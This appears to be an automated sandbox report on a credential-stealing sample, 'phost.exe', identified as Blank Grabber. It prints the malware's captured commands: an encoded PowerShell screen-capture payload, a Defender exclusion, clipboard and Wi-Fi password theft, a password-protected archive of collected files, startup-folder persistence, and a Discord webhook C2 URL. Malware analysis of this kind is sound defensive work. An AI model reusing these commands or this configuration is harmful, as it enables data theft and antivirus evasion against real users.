7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\phost.exe", ParentImage: C:\Users\user\Desktop\phost.exe, ParentProcessId: 3444, ParentProcessName: phost.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 7544, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\Desktop\phost.exe, ProcessId: 3444, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\phost.exe, ProcessId: 3444, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\phost.exe, ProcessId: 3444, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7400, TargetFilename: C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline

Sigma detected: Files Added To An Archive Using Rar.EXE

Source: Process started

Author: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *, CommandLine: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7500, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *, ProcessId: 7412, ProcessName: rar.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe', ProcessId: 3140, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7620, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\phost.exe", ParentImage: C:\Users\user\Desktop\phost.exe, ParentProcessId: 3444, ParentProcessName: phost.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 7748, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: phost.exe.3444.1.memstrmin

Malware Configuration Extractor: Blank Grabber {"C2 url": "https://discord.com/api/webhooks/1267176433306829014/YhEVi7QXrkO9uMJodvR8Fp2e6uTZlqxB6sVXodhGTQI4MPsm1-wFNZP3qTm1buU6tOMG"}

Multi AV Scanner detection for submitted file

Source: phost.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe

Code function: 105_2_00007FF6BBCC901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

105_2_00007FF6BBCC901C

Source: phost.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: phost.exe, 00000001.00000002.2186287138.00007FFE13301000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: phost.exe, 00000001.00000002.2183769002.00007FFDFB5E4000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.pdb source: powershell.exe, 0000004A.00000002.1977970654.000001C716F45000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: phost.exe, 00000001.00000002.2181473633.00007FFDFAA4F000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: phost.exe, 00000001.00000002.2185911655.00007FFE126D1000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: phost.exe, 00000001.00000002.2186466073.00007FFE13337000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbEE source: phost.exe, 00000001.00000002.2182012279.00007FFDFAAE5000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PICOpenSSL 3.0.11 19 Sep 20233.0.11built on: Wed Sep 27 22:33:28 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC;CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_push_octet_ptrOSSL_PARAM_BLD_to_param..\s\crypto\params.c source: phost.exe, 00000001.00000002.2182736521.00007FFDFB052000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: phost.exe, 00000001.00000002.2185661990.00007FFE1151C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC source: phost.exe, phost.exe, 00000001.00000002.2182736521.00007FFDFB052000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: t.pdb source: powershell.exe, 0000004A.00000002.2038143526.000001C72DD50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: phost.exe, 00000001.00000002.2186119387.00007FFE130C1000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: phost.exe, 00000001.00000002.2185661990.00007FFE1151C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: phost.exe, 00000001.00000002.2185499865.00007FFE10301000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: phost.exe, 00000000.00000003.1675759091.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2187104659.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.pdbhP source: powershell.exe, 0000004A.00000002.1977970654.000001C716F45000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: phost.exe, 00000000.00000003.1675759091.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2187104659.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: phost.exe, phost.exe, 00000001.00000002.2182380751.00007FFDFAB31000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: phost.exe, 00000001.00000002.2184947186.00007FFE101D1000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: phost.exe, 00000001.00000002.2185223962.00007FFE10241000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: phost.exe, phost.exe, 00000001.00000002.2182012279.00007FFDFAAE5000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000069.00000000.2046278309.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmp, rar.exe, 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: phost.exe, 00000001.00000002.2184701934.00007FFE0EB31000.00000040.00000001.01000000.00000010.sdmp

Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC792F0 FindFirstFileExW,FindClose,	0_2_00007FF62CC792F0
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC783B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF62CC783B0
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC918E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF62CC918E4
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC792F0 FindFirstFileExW,FindClose,	1_2_00007FF62CC792F0
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC918E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF62CC918E4
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCD46EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	105_2_00007FF6BBCD46EC
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCCE21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	105_2_00007FF6BBCCE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD188E0 FindFirstFileExA,	105_2_00007FF6BBD188E0

Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\	Jump to behavior
